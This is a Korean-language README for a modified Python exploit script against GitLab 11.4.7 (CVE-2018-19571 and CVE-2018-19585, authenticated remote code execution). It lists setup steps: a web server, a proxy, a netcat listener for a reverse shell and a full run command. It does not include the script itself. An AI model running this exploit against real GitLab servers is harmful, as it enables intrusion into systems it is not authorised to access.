edb-49263-fixed - GitLab 11.4.7 - 인증된 원격 코드 실행

CVE-2018-19571 및 CVE-2018-19585(GitLab 11.4.7 - 인증된 원격 코드 실행)를 악용하기 위한 Python 스크립트의 수정 버전으로, https://www.exploit-db.com/exploits/49263(Python 3.9)에서 확인할 수 있습니다.

사용법

스크립트를 편집하여 대상 주소를 실제 대상 주소로 교체하십시오.

또한 다음 사항을 명심해야 합니다.

1. 대상 GitLab 인스턴스에서 유효한 사용자 계정을 보유해야 하며,
2. 스크립트가 실행되는 디렉터리에서 포트 80에서 (Python) 웹 서버를 실행하고,
3. 머신의 포트 8080에서 활성 프록시 서버를 실행해야 하며 (예: 인터셉트를 끈 BURP; 로컬 호스트에서 프록시 서버가 실행 중이지 않거나 연결을 거부하는 경우 스크립트 실행은 오류 없이 실패합니다),
4. 머신의 원하는 포트에 netcat 리스너를 설정해야 합니다.

그런 다음 스크립트는 다음과 같이 실행됩니다:

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener